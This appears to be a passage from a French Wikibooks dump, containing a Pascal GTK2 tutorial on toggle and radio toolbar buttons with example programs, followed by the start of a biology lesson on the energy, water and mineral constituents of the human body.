gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création des boutons poussoir pBoutonPoussoir1 := gtk_toggle_tool_button_new_from_stock(GTK_STOCK_OPEN); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBoutonPoussoir1, -1); pBoutonPoussoir2 := gtk_toggle_tool_button_new; gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBoutonPoussoir2, -1); gtk_tool_button_set_label(GTK_TOOL_BUTTON(pBoutonPoussoir2), 'Btn 2'); // Création du label pLabel := gtk_label_new('Label'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk045</code> juste après le lancement : [[Image:Programmation GTK2 en Pascal - gtk045-1.png]] Puis après avoir cliqué sur les deux boutons : [[Image:Programmation GTK2 en Pascal - gtk045-2.png]] {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkToggleToolButton]] Image:Programmation GTK2 en Pascal - gtk046-1.png 3094 14628 2005-04-08T17:15:56Z Didier 186 Exemple du programme gtk046.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk046.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk046-2.png 3095 14629 2005-04-08T17:16:35Z Didier 186 Exemple du programme gtk046.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk046.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkRadioToolButton 3096 14630 2005-04-08T17:17:39Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkRadioToolButton''' permet de gérer un élément de barre d'outils de type bouton radio, un bouton poussoir particulier appartenant à un groupe et où un seul bouton peut être dans l'état enfoncé. Il fonctionne en fait comme un bouton radio normal géré par le contrôle <code>[[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]]</code>. C'est une nouveauté de la version 2.6 de Gtk+. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] └─[[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] ├─[[Programmation GTK2 en Pascal - GtkMenuToolButton|GtkMenuToolButton]] └─[[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]] └─[[Programmation GTK2 en Pascal - GtkRadioToolButton|GtkRadioToolButton]] |} == Utilisation de base == === Création === Afin de grouper les boutons radio dans une barre d'outils, Gtk+ utilise les [[Programmation GTK2 en Pascal - GSList|listes simplement chaînées de GLib]]. Les fonctions sont équivalentes à celle du contrôle <code>[[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]]</code>. Pour créer le premier bouton radio du groupe, il faut obligatoirement passer par une de ces fonctions : function gtk_radio_tool_button_new(group : PGSList) : PGtkToolItem; function gtk_radio_tool_button_new_from_stock(group : PGSList; stock_id : Pgchar) : PGtkToolItem; Au moment de la création, le bouton radio est automatiquement ajouté à la liste <code>group</code>. Cependant, ce paramètre n'est pas obligatoire. Nous pouvons très bien mettre NULL comme valeur et cela marchera de la même manière, sauf que nous n'aurons pas de pointeur sur la liste. La valeur de retour de cette fonction sera aussi copiée dans la variable <code>data</code> de la liste chaînée. La deuxième fonction de création permet de créer un bouton radio en utilisant les <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> qui est une structure contenant les informations sur le label et l'image à afficher. Gtk+ comporte déjà beaucoup de <code>GtkStockItem</code> prédéfinis (en tout cas les plus courant). Le paramètre <code>stock_id</code> est donc l'identifiant du <code>GtkStockItem</code> à utiliser. Ensuite pour rajouter les autres boutons au groupe, il y a plusieurs possibilités. La première est d'utiliser une des trois fonctions précédentes mais ce n'est pas tout, car autant pour le premier bouton du groupe, il n'est pas nécessaire d'avoir une liste, autant pour les autres boutons cela devient obligatoire. Pour cela, Gtk+ nous fournit une fonction qui permet d'obtenir la liste dans laquelle les boutons du groupe sont ajoutés : function gtk_radio_tool_button_get_group(button : PGtkRadioToolButton) : PGSList; Avec cette fonction, nous pouvons donc connaître la liste à laquelle appartient le bouton <code>button</code>, ce qui va nous permettre d'ajouter de nouveau bouton au groupe. Mais là où cela se complique, c'est qu'il faut récupérer la liste avant chaque ajout de bouton avec le dernier bouton ajouté comme paramètre. Voici ce que cela donnerai pour un groupe de trois boutons : pRadio1 := gtk_radio_tool_button_new(NULL); pGroup := gtk_radio_tool_button_get_group(GTK_RADIO_TOOL_BUTTON(pRadio1)); pRadio2 := gtk_radio_tool_button_new(pGroup); pGroup := gtk_radio_tool_button_get_group(GTK_RADIO_TOOL_BUTTON(pRadio2)); pRadio3 := gtk_radio_tool_button_new(pGroup); Ce système peut donc s'avérer lourd lors de la création du groupe, surtout s'il contient un grand nombre de boutons. Heureusement, les concepteurs de Gtk+ ont pensé à nous simplifier la vie en ajoutant ces deux fonctions : function gtk_radio_tool_button_new_from_widget(group : PGtkRadioToolButton) : PGtkToolItem; function gtk_radio_tool_button_new_with_stock_from_widget(group : PGtkRadioToolButton; stock_id : Pgchar) : PGtkToolItem; Cette fois <code>group</code> ne correspond pas à la liste mais à un des boutons du groupe. À chaque appel d'une de ces fonctions Gtk+ va s'occuper de récupérer correctement la liste à laquelle appartient le bouton <code>group</code> et ajouter le nouveau bouton. Le code va être réduit et plus lisible. Nous savons maintenant tout ce qu'il faut pour créer un groupe de <code>GtkRadioToolButton</code>. NB : Contrairement aux fonctions usuelles de Gtk+ de création de contrôles, ces fonctions ne renvoient pas un <code>PGtkWidget</code> mais un <code>PGtkToolItem</code>. == Programme exemple == Nous allons créer dans une fenêtre une barre d'outils avec deux boutons radio. Le clic sur un bouton affiche son label dans la fenêtre. Voilà le fichier <code>gtk046.pas</code> : program gtk046; uses glib2, gtk2; procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); cdecl; external gtklib name 'gtk_toolbar_insert'; procedure OnToggleBtn(APWidget : PGtkwidget; AData : pgpointer); cdecl; var LabelBtnRad : PGChar; begin LabelBtnRad := gtk_tool_button_get_label(GTK_TOOL_BUTTON(APWidget)); gtk_label_set_label(GTK_LABEL(AData), LabelBtnRad); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBoutonRadio1 : PGtkToolItem; pBoutonRadio2 : PGtkToolItem; pLabel : PGtkWidget; pGroupe : PGSList; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk046 : Barre d''outils'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création des boutons radio // pBoutonRadio1 := gtk_radio_tool_button_new_with_stock_from_widget(NULL, GTK_STOCK_OPEN); // pBoutonRadio1 := gtk_radio_tool_button_new_from_widget(NULL); pBoutonRadio1 := gtk_radio_tool_button_new(NULL); pGroupe := gtk_radio_tool_button_get_group(GTK_RADIO_TOOL_BUTTON(pBoutonRadio1)); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBoutonRadio1, -1); gtk_tool_button_set_label(GTK_TOOL_BUTTON(pBoutonRadio1), 'Btn 1'); // pBoutonRadio2 := gtk_radio_tool_button_new_from_widget(GTK_RADIO_TOOL_BUTTON(pBoutonRadio1)); pBoutonRadio2 := gtk_radio_tool_button_new(pGroupe); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBoutonRadio2, -1); gtk_tool_button_set_label(GTK_TOOL_BUTTON(pBoutonRadio2), 'Btn 2'); // Création du label pLabel := gtk_label_new('Label'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); // Signaux des boutons gtk_signal_connect(pGTKOBJECT(pBoutonRadio1), 'toggled', G_CALLBACK(@OnToggleBtn), pLabel); gtk_signal_connect(pGTKOBJECT(pBoutonRadio2), 'toggled', G_CALLBACK(@OnToggleBtn), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. NB: ''Je n'ai pas réussi à faire fonctionner les lignes en commentaires. La barre d'outils demeure vide.'' Voilà ce que donne l'exécution du programme <code>gtk046</code> : [[Image:Programmation GTK2 en Pascal - gtk046-1.png]] Et après avoir cliqué sur le deuxième bouton : [[Image:Programmation GTK2 en Pascal - gtk046-2.png]] {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkRadioToolButton]] Les principaux constituants de la matière vivante 3097 42341 2006-05-15T09:30:28Z 82.67.113.149 remplacement signe ? en signe < [[Image:Matiere vivante.jpeg|right]] == Généralités == === L’homme est un organisme qui a besoin d’énergie pour vivre === L’être humain est un être vivant car il utilise de l’énergie chimique pour vivre. Cette énergie est sous forme d’ATP (Adénosine Tri Phosphate), c’est le "combustible" cellulaire de l'organisme. L'unité énergétique internationale est le J (joule) mais on trouve encore des indications en kcal (kilo calorie) : 1 kJ=0,24 kCal ou 1 kCal=4,19 kJ. L'apport énergétique alimentaire journalier doit être d'environ 11 300 kJ pour l'homme adulte et 8 400 kJ pour la femme adulte. ==== Que fait l'organisme de cette énergie ? Où sera-t-elle utilisée ? ==== *55% pour le métabolisme basal, qui concerne le fonctionnement des organes vitaux (respiration, circulation, activité cérébrale). On mesure le métabolisme basal en plaçant l'individu dans une enceinte thermorégulée et dans une situation de repos intellectuel et physique. *45% pour le métabolisme extra-basal : **travail musculaire : 25% **thermorégulation : 10% **activité dynamique spécifique (appareil digestif et urinaire) : 10% ==== Origine de l'ATP ==== L'ATP est d'origine alimentaire. Les aliments sont des mélanges composés de glucides, lipides, protides, acides nucléiques, sels minéraux, vitamines, eau. Les molécules organiques sont des molécules complexes (ou macro-éléments) de poids moléculaires importants. Ces aliments doivent subir une digestion pour être transformés en molécules simples de faible poids moléculaire ou nutriments (sauf pour les sels minéraux, les vitamines et l'eau). {| border="1" cellpadding="2" |+ des aliments aux nutriments !aliments !nutriments |- |Glucides |oses (glucose) |- |Lipides |acides gras + glycérol |- |Protides |acides aminés |- |Sels minéraux |Sels minéraux |- |Vitamines, H<SUB>2</SUB>O |Vitamines, H<SUB>2</SUB>O |- |} Les enzymes digestives vont permettre la digestion en réalisant l’hydrolyse des aliments. Les nutriments ainsi obtenus dans l’intestin grêle vont se retrouver dans le sang, directement ou via la lymphe, par le phénomène d’absorption. Le sang transportera ensuite les nutriments aux cellules composant l’organisme. ==== Que vont faire les cellules de ces nutriments ? ==== Les cellules transforment les nutriments en énergie, c'est à dire en ATP. Cette transformation se fait en consommant de l’oxygène (dioxygène : O<SUB>2</SUB>) transporté également par le sang via le système respiratoire. Il faut noter que le stock d'ATP est très faible dans l'organisme. L'énergie est stockée pour l'essentiel sous forme de glycogène, de créatine-phosphate et de trigycérides. [[image:image002.gif]] De cette transformation résultent des déchets : CO<SUB>2</SUB> et H<SUB>2</SUB>O. Le CO<SUB>2</SUB> va repartir vers l’air via le sang et les poumons, l’H<SUB>2</SUB>O repart essentiellement vers l’extérieur via le sang, les reins et les poumons. [[Image:Panneau attention 20.png]] Les nutriments renferment de l’énergie sous forme d'énergie potentielle. [[Image:Image004constituants.gif]] Les enzymes déclenchent la réaction : elles ont un rôle de catalyseur. ==== Qu’est-ce que l’équilibre énergétique ? ==== On parle d’équilibre énergétique lorsque les entrées d’énergies sont égales aux dépenses énergétiques. Cela correspond à la quantité d’énergie dont l’organisme a besoin chaque jour pour fonctionner. [[Image:Exemple.gif]] : une femme a droit quotidiennement à 8&nbsp;400 kJ. Si elle mange pour 10&nbsp;000 kJ, les 1&nbsp;600 kJ excédentaires seront stockés. Lors d’un travail musculaire intense inhabituel les quantités entrées sont généralement insuffisantes et l’organisme puisera dans ses réserves énergétiques. === L’être humain est une machine nécessitant un entretien permanent === [[Image:Exemple.gif]] : dans le cas d’une fracture, l’organisme va procéder à une synthèse osseuse pour élaborer un nouveau tissu osseux. Le tissu osseux est constitué de cellules osseuses (ostéocytes) constituées elles-mêmes de protides, lipides, glucides, acides nucléiques et calcium. Comme ces nutriments servent à bâtir l’organisme, on les appelle « nutriments bâtisseurs ». [[Image:Exemple.gif]] : lors d’une hémorragie il y a baisse de la volémie (volume sanguin). Le sang est constitué de plasma et de cellules sanguines (globules rouges et blancs, plaquettes). Après l’hémorragie il faut donc synthétiser de nouvelles cellules. Les globules rouges contiennent des molécules protéiques d’hémoglobine renfermant elles-même du fer. La synthèse de globules rouges nécessite donc du fer. Dans les conditions normales, un homme à besoin de 10 mg/jour et la femme de 16 à 18 mg/jour (besoin supérieur à cause des pertes menstruelles). Dans l’organisme, le fer est stocké dans le sang et dans le foie. === Croissance et renouvellement === ==== Croissance ==== *Un enfant a des besoins énergétiques plus importants qu’un adulte. *Un adulte a des besoins énergétiques plus importants qu’un vieillard. <center> <table border="1" cellpadding="5" cellspacing="1" rules="groups" width="490"> <tr valign="top"> <td height="16" width="382"> <p align="justify" lang="fr-FR"><br> </p> </td> <td colspan="2" bgcolor="#ffcc00" width="87"> <p align="center" lang="fr-FR"><b><font style="font-size: 11pt;" size="2"><span style="background: rgb(255, 204, 0) none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;">kilojoules</span></font></b></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Garçons 10 à 12 ans</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">10&nbsp;900</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Adolescents 16 à 19 ans</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">12&nbsp;800</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Filles 10 à 12 ans</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">9&nbsp;800</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Adolescentes 16 à 19 ans</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">9&nbsp;700</font></p> </td> </tr> <tr valign="top" border="0"> <td bgcolor="#ffff99" height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2"><u>ADULTES DE SEXE MASCULIN FRANÇAIS</u></font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Activité physique habituelle</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">11&nbsp;300</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Personnes ayant une activité physique importante</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">12&nbsp;500</font></p> </td> </tr> <tr valign="top"> <td bgcolor="#ffff99" height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2"><u>ADULTES DE SEXE FEMININ FRANÇAIS</u></font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Activité physique habituelle</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">8&nbsp;400</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Personnes ayant une activité physique importante</font></p> </td> <td colspan="2" width="87"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">9&nbsp;200</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Femme enceinte, ajouter à la ration le 1<sup>er</sup> trimestre</font></p> </td> <td width="8"> <p align="center" lang="fr-FR"><font style="font-size: 11pt;" size="2">+</font></p> </td> <td width="69"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">400</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Femme enceinte, ajouter à la ration le 2<sup>ème</sup> et 3<sup>ème</sup> trimestre</font></p> </td> <td width="8"> <p align="center" lang="fr-FR"><font style="font-size: 11pt;" size="2">+</font></p> </td> <td width="69"> <p align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">1&nbsp;000</font></p> </td> </tr> <tr valign="top"> <td height="16" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Femme qui allaite, ajouter à la ration</font></p> </td> <td width="8"> <p style="page-break-after: avoid;" align="center" lang="fr-FR"><font style="font-size: 11pt;" size="2">+</font></p> </td> <td width="69"> <p style="page-break-after: avoid;" align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">2&nbsp;100</font></p> </td> </tr> <tr valign="top"> <td height="15" width="382"> <p align="left" lang="fr-FR"><font style="font-size: 11pt;" size="2">Personnes âgées</font></p> </td> <td width="8"> <p style="page-break-after: avoid;" align="center" lang="fr-FR"><font style="font-size: 11pt;" size="2">-</font></p> </td> <td width="69"> <p style="page-break-after: avoid;" align="right" lang="fr-FR"><font style="font-size: 11pt;" size="2">10 à 20 %</font></p> </td> </tr> </table> </center> ==== Construction ==== La construction de l’organisme repose sur l’apport journalier en nutriments bâtisseurs : glucides, protéines, sels minéraux, lipides et acides nucléiques. [[Image:Exemple.gif]] : la diminution importante de la quantité d’[[w:acides aminés essentiels|acides aminés essentiels]] peut entraîner une maladie, fréquente dans les pays en voie de développement : la kwashiorkor. La carence due à une alimentation céréalière pauvre en protéines provoque chez l’enfant, après sevrage, des œdèmes des membres inférieurs et du visage, une fonte musculaire et une dépigmentation de la peau. [[Image:Panneau attention 20.png]] L’alimentation devrait être composée de : *50 à 55 % de glucides ([[w:édulcorant|édulcorants]] et non [[w:édulcorant|édulcorants]]) *12 à 15 % de protéines (animales et végétales) *32 à 35% de lipides (animaux et végétaux) De plus, il faut 1,5 l d’H<SUB>2</SUB>O par jour, des sels minéraux et des vitamines : A pour la vision, B<SUB>1</SUB> (thiamine) pour le système nerveux, B<SUB>12</SUB> pour l'absorption du fer, B<SUB>9</SUB> (acide folique) pour la maturation de l’hémoglobine, B pour la fixation du Ca, E pour les fonctions de reproduction, K pour la coagulation du sang, PP pour la peau. === Les constituants chimiques de la matière vivante === [[Image:Image006constituants.gif]] Certains des nutriments présentent un rôle fonctionnel. [[Image:exemple.gif]] : Ca<SUP>2+</SUP> : coagulation du sang, Fe : fixation de l’O<SUB>2</SUB> sur l’hémoglobine. L’ensemble des réactions se déroulant dans l’organisme s’appelle le métabolisme. On distingue deux types de réactions : *Réactions de synthèse = anabolisme *Réactions de dégradation = catabolisme ==== Schéma général du métabolisme ==== [[Image:Image008constituants.gif]] ==== Composition chimique ==== L’organisme est composé d’éléments organiques et d’éléments minéraux. ===== Éléments de la matière organique ===== <table border="1" cellpadding="2"> <tr><td>Carbone</td><td>C</td><td>19,37 %</td><td> 20 %</td></tr> <tr><td>Hydrogène</td><td>H</td><td>9,31 %</td><td> 10 %</td></tr> <tr><td>Oxygène</td><td>O</td><td>62,81 %</td><td> 63 %</td></tr> <tr><td>Soufre</td><td>S</td><td>0,64 %</td><td></td></tr> <tr><td>Phosphore</td><td>P</td><td>0,63 %</td><td></td></tr> <tr><td>Azote</td><td>N</td><td>5,14 %</td><td> 5 %</td></tr> <tr><td colspan="2">Total</td><td>97,90 %</td><td> 98 %</td></tr> </table> ===== Eléments de la matière minérale ===== Ca<SUP>2+</SUP> + Cl<SUP>-</SUP> + Mg<SUP>2+</SUP> + HCO<SUB></SUB><SUP>-</SUP> + Fe<SUP>2+</SUP> + K<SUP>+</SUP> + PO<SUB>4</SUB><SUP>3-</SUP> + Na<SUP>+</SUP> + autres oligoéléments  2% == Les constituants minéraux == === L’eau === ==== Composition en eau de l’organisme ==== L’organisme est constitué de 60 % d’eau, les 40 % restants sont appelés matière sèche. [[Image:exemple.gif]] : pour un homme de 70 kg : teneur en H<SUB>2</SUB>O = 70 x 60 %= 42 l, et matière sèche = 70 - 42 = 28 kg (car 1 l d’H<SUB>2</SUB>O = 1 kg). La matière sèche est constituée de matière organique (95 % des 40 %) et de matière minérale (5 % des 40 %). [[Image:exemple.gif]] : pour un homme de 70 kg : matière organique= 28 x 95 % = 26,6 kg et matière minérale = 28 - 26,6 = 1,4 kg. ==== Répartition de l’eau dans l’organisme ==== [[Image:Image010constituants.gif]] <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="641"> <tr> <td colspan="3" bgcolor="#ffcc00" width="378"> <p align="center" lang="fr-FR">Eau corporelle totale 60%</p> </td> <td colspan="2" bgcolor="#e5e5e5" width="242"> <p align="center" lang="fr-FR">Matière sèche 40%</p> </td> </tr> <tr> <td colspan="2" bgcolor="#ffff99" height="61" width="114"> <p align="center" lang="fr-FR">Liquide extra-cellulaire 20%</p> </td> <td rowspan="2" bgcolor="#ffcc99" width="254"> <p align="center" lang="fr-FR">Liquide intracellulaire</p> <p align="center" lang="fr-FR">40%</p> </td> <td rowspan="2" bgcolor="#e5e5e5" width="206"> <p align="center" lang="fr-FR">Matière organique</p> <p align="center" lang="fr-FR">38%</p> </td> <td rowspan="2" bgcolor="#e5e5e5" width="26"> <p style="margin-left: 0.2cm; margin-right: 0.2cm;" align="center" lang="fr-FR"> <font style="font-size: 8pt;" size="1">Matière minérale 2%</font></p> </td> </tr> <tr> <td bgcolor="#ffff99" height="54" width="90"> <p align="center" lang="fr-FR">Liquide interstitiel (et lymphe canalisée) 16%</p> </td> <td bgcolor="#ffff99" width="14"> <p style="margin-left: 0.2cm; margin-right: 0.2cm;" align="center" lang="fr-FR"> <font style="font-size: 8pt;" size="1">Plasma 4%</font></p> </td> </tr> </table> </center> Le milieu intérieur comprend les liquides extracellulaires : plasma, lymphe interstitielle et lymphe canalisée. ==== Rôles de l’eau ==== C’est le solvant des principales bio-molécules, c'est à dire des substances ioniques ou non-ioniques comme les protéines. Les ions et les protéines en solution contribuent à établir une certaine pression osmotique (= concentration ionique et protéique dans l’eau). Cette dernière est différente selon les milieux, c'est-à-dire quand la pression osmotique du liquide intracellulaire est différente de celle du liquide extracellulaire. *Po<SUB>i</SUB> < Po<SUB>e</SUB> &rarr; hypertonie *Po<SUB>i</SUB> > Po<SUB>e</SUB> &rarr; hypotonie === Les éléments minéraux === ==== Les macro-éléments ==== On en distingue 2 types : * Les cations = ions chargés positivement : Ca<SUP>2+</SUP>, Mg<SUP>2+</SUP>, Na<SUP>+</SUP>, K<SUP>+</SUP> * Les anions = ions chargés négativement : Cl<SUP>-</SUP>, PO<SUB>4</SUB><SUP>3-</SUP> (surtout HPO<SUB>4</SUB><SUP>2-</SUP> et H2PO<SUB>4</SUB><SUP>-</SUP>), HCO<SUB>3</SUB><SUP>-</SUP>, SO<SUB>4</SUB><SUP>2-</SUP> On distingue classiquement : *les éléments majeurs : **C, H, O, N (P, S) des molécules organiques ; **P, S, Na, Cl, Mg, K, Ca des sels minéraux ; *les oligoéléments <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="1" frame="above" width="686"> <tr> <td rowspan="3" bgcolor="#ffcc00" width="162"> <p class="western" align="center" lang="fr-FR"><b>composé</b></p> </td> <td rowspan="2" bgcolor="#ffcc00" width="160"> <p class="western" align="center" lang="fr-FR"><b>Liquide intra-cellulaire</b></p> </td> <td colspan="2" bgcolor="#ffcc00" height="13" width="331"> <p class="western" align="center" lang="fr-FR"><b>Liquide extra-cellulaire</b></p> </td> </tr> <tr> <td bgcolor="#ffcc00" height="15" width="160"> <p class="western" align="center" lang="fr-FR"><b>Lymphe</b></p> </td> <td bgcolor="#ffcc00" width="160"> <p class="western" align="center" lang="fr-FR"><b>Plasma</b></p> </td> </tr> <tr valign="top"> <td bgcolor="#ffcc00" height="15" width="74"> <p class="western" align="justify" lang="fr-FR"><b>mmol/L</b></p> </td> <td bgcolor="#ffcc00" width="75"> <p class="western" align="justify" lang="fr-FR"><b>mmol/L</b></p> </td> <td bgcolor="#ffcc00" width="75"> <p class="western" align="justify" lang="fr-FR"><b>mmol/L</b></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Sodium</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">10</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">140</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">140</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Potassium</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">141</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">5</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">4.8</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Calcium</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">0.4</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">2.5</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">2.5</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Magnésium</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">29</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">1.5</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">0.9</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Chlore</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">4</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">103</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">101</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Hydrogénocarbonate</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">10</font></p> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">28</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">25</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Phosphates</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">75</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">4</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">4</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Protéines (g/L)</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">200</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">4</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">70</font></p> </td> </tr> <tr valign="top"> <td height="12" width="162"> <p class="western" align="justify" lang="fr-FR"><font size="2">Glucose (mmol/L)</font></p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><font size="2">1.1</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">5</font></p> </td> <td width="75"> <p class="western" align="justify" lang="fr-FR"><font size="2">5</font></p> </td> </tr> <tr valign="top"> <td colspan="2" height="12" width="333"> <p class="western" align="right" lang="fr-FR"><font size="2">Membrane cytoplasmique →</font></p> </td> <td colspan="2" width="331"> </td> </tr> </table> Aucun ion n’est en équilibre entre le milieu intra et extra-cellulaire. Le déséquilibre ionique contribue à l’établissement de la pression osmotique et permet les échanges cellulaires, c'est-à-dire les communications de la cellule avec son environnement. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="686"> <tr valign="top"> <td bgcolor="#ffcc00" width="102"> <p class="western" align="justify" lang="fr-FR"><b>Elément</b></p> </td> 